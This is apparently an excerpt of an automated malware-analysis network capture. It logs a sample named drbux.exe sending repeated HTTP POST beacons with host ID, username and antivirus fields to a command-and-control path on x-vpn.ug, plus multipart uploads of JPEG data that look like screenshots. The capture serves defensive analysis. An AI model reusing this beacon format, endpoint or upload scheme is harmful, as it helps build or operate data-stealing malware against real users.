Jul 19, 2021 18:36:33.099864006 CEST	17279	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:33.099911928 CEST	17279	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:33.099982977 CEST	17282	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:33.100342035 CEST	17285	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:33.100368977 CEST	17288	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:33.101141930 CEST	17292	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.6	49980	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:33.068345070 CEST	17270	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:33.167284966 CEST	17298	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.6	49981	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:33.371328115 CEST	17359	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:33.450907946 CEST	17360	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.6	49982	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:33.468775988 CEST	17361	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:33.469058990 CEST	17361	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:33.469435930 CEST	17371	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:33.469638109 CEST	17373	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:33.549832106 CEST	17376	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:33.550106049 CEST	17382	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:33.550908089 CEST	17387	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:33.551295042 CEST	17390	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:33.551548958 CEST	17393	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:33.552751064 CEST	17397	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:33.553807020 CEST	17399	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:36:33.795438051 CEST	17459	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.6	49983	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:33.641140938 CEST	17451	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:33.721370935 CEST	17459	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.6	49984	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:33.923573971 CEST	17460	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:34.020895004 CEST	17461	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.6	49985	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:34.068115950 CEST	17461	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----a5044036d0dc1e23f9afaaebedc2acb7 Host: x-vpn.ug Content-Length: 96925 Cache-Control: no-cache
Jul 19, 2021 18:36:34.068305969 CEST	17462	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 61 35 30 34 34 30 33 36 64 30 64 63 31 65 32 33 66 39 61 66 61 61 65 62 65 64 63 32 61 63 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------a5044036d0dc1e23f9afaaebedc2acb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:34.068470955 CEST	17472	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:34.068574905 CEST	17474	OUT	Data Raw: 1f 78 8c f4 35 cf 69 5e 26 fb 3e 8f 65 0f fc 2c 3f b2 f9 76 f1 a7 d9 ff 00 b1 77 f9 58 50 36 6e c7 cd 8e 99 ef 8a ed fc 15 ab 7f 6a 7d bb fe 2a 6f ed bf 2f cb ff 00 97 0f b3 79 39 dd ec 37 67 1f 86 df 7a e0 ad cf 14 e4 9b fb df f9 2f cc ea a7 ca Data Ascii: x5i^&>e,?vwXP6nj}o/y97gz/V_jJ2UJJoebQa\f)i&)qE-%LAJhPF(PGz(X[yBhmd^Q<+!z"VUtq
Jul 19, 2021 18:36:34.146025896 CEST	17480	OUT	Data Raw: 28 0b 8d a2 9d 8a 4c 52 b0 ee 25 18 a3 14 62 8b 00 50 05 14 bd a8 01 0d 25 3a 90 8a 06 25 14 52 f6 a4 02 62 8a 29 79 a2 c0 25 2d 14 53 40 25 14 b4 62 90 07 34 73 47 34 53 01 28 a5 34 52 b0 09 45 2d 14 05 c8 eb d3 be 04 e7 fe 16 04 98 ea 6c 25 c7 Data Ascii: (LR%bP%:%Rb)y%-S@%b4sG4S(4RE-l%5bS-^=2;p?K4\]7-CUekcRcuQ>p1^K6v'ekMkqz6F@YMu3Mq4Jyb{rMgR~F<3fh?}
Jul 19, 2021 18:36:34.146073103 CEST	17483	OUT	Data Raw: 5c 4a 4c 53 b1 45 01 71 28 a5 a4 ef 40 c8 45 77 36 7a ad 83 78 7f 44 d3 63 92 ca 0d 4d b4 cb b8 a2 d4 5e 7c 35 b3 b4 d2 9f 2d c1 6d 8a 1d 09 5c 95 04 6f 07 20 57 13 49 b1 49 e9 58 54 a7 cf 1e 5f eb 66 bf 53 68 54 e5 77 3d 0a 41 a0 5c 68 fa 35 a5 Data Ascii: \JLSEq(@Ew6zxDcM^\|5-m\o WIIXT_fShTw=A\h5ZdfX%mvLx54/{(ucIG=q?Tg\tH_J<tdJUbvRv&}+G_Qb(6Xcimxci6v6t$.V.YQVFH
Jul 19, 2021 18:36:34.146083117 CEST	17488	OUT	Data Raw: 80 0a 70 14 01 4e c5 51 2d 8d c5 28 14 b8 a5 c7 34 ec 2b 89 8a 31 4e c5 18 a6 17 1b 8a 31 4e c5 18 a2 c2 b8 dc 51 8a 7e 28 c5 16 0b 91 91 46 2a 4c 51 8a 2c 17 22 db 46 da 97 14 62 97 28 f9 88 76 52 15 a9 8a d0 56 8e 51 f3 10 62 93 15 36 da 36 d2 Data Ascii: pNQ-(4+1N1NQ~(F*LQ,"Fb(vRVQb661)J)1RIrj\PEO)\qM""KJD$SqRhF)M-.(q8J`J("9@QKI@OKIRPNNE[>1X#Lm ip}~J5
Jul 19, 2021 18:36:34.146120071 CEST	17491	OUT	Data Raw: 9c d2 e4 d5 68 4e a2 79 3e f4 79 26 97 71 a5 de 68 b2 1d e4 33 ca 6a 42 84 54 be 67 b5 3b cc 1e 94 59 0a ec ad 83 e9 4b 8f 6a b1 b9 4f 6a 70 08 7b 51 c8 1c e5 4a 2a d1 8d 3b 1a 4f 25 4f 43 47 23 1a 9a 2b 52 d4 df 67 a4 f2 1b b5 2e 56 1c c8 86 96 Data Ascii: hNy>y&qh3jBTg;YKjOjp{QJ;O%OCG#+Rg.VXRvwC(m4;RJQIJ(h()iQK@E.(4XBQK1@RBRBE1J1ERR-Z)R"XQE( }huZq)kI)qN9
Jul 19, 2021 18:36:34.147785902 CEST	17500	OUT	Data Raw: 8d a0 f6 a9 31 46 da 5c a1 cc 44 62 43 fc 34 c3 6e 87 d4 55 8d b4 62 8e 44 35 36 8a bf 66 f4 34 df b3 b8 e9 57 36 9a 50 29 7b 34 c6 aa 32 87 96 c3 a8 34 9c d6 8e 29 a5 41 ea 3f 4a 5e cb b0 d5 52 85 1d 6a e9 85 0f f0 d2 7d 9d 4f a8 a9 f6 6c 7e d1 Data Ascii: 1F\DbC4nUbD56f4W6P){424)A?J^Rj}Ol~SM$>t''>Y4S2XRZXuPQKHN)qLLZZ@)UR@Sbu%-Q"LE- T&-:KT)E4SXNHKIE2GSJhP!iAC:Pi>Gp4p5
Jul 19, 2021 18:36:34.225754023 CEST	17511	OUT	Data Raw: 15 20 46 dc a6 60 73 f8 1a 55 31 10 ab 1e 54 55 0a 13 a7 34 d9 e4 74 51 4e af 20 fa 51 b4 aa a5 98 2a 82 49 e8 00 eb 4a 14 b1 0a a0 96 27 00 0e f5 eb de 1d f0 b6 9d e0 8d 25 75 df 11 aa b6 a0 e0 18 2d 59 77 79 64 fd dc af f1 39 ec bd ba 9c 76 ce Data Ascii: F`sU1TU4tQN Q*IJ'%u-Ywyd9vE]:nl4/zQjfa{_\@]rC=_[f{4ITeR\4:=+>"[V&-c};[m
Jul 19, 2021 18:36:34.225812912 CEST	17522	OUT	Data Raw: 67 fd 70 1f c8 57 3e 4e 69 67 f8 85 e1 9b cb 6b 64 ba b6 bb 2d 0c 61 32 a3 1d aa a3 78 cb c2 18 e2 da fa b9 70 f3 74 e1 ca e2 ee 18 ac 34 aa d4 73 8c 95 8b 81 86 29 43 8a cc 6f 18 f8 57 f8 6d ef 6a 16 f1 97 86 bb 43 7b 5d 0a aa 7d 19 ca f0 95 17 Data Ascii: gpW>Nigkd-a2xpt4s)CoWmjC{]}cp0=xCw>u_Wts?hY]Y]Tu[+7?+*S:i"<{asRbA?ai_sQJs(v+.?
Jul 19, 2021 18:36:34.471584082 CEST	17561	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.6	49986	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:34.264461040 CEST	17530	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
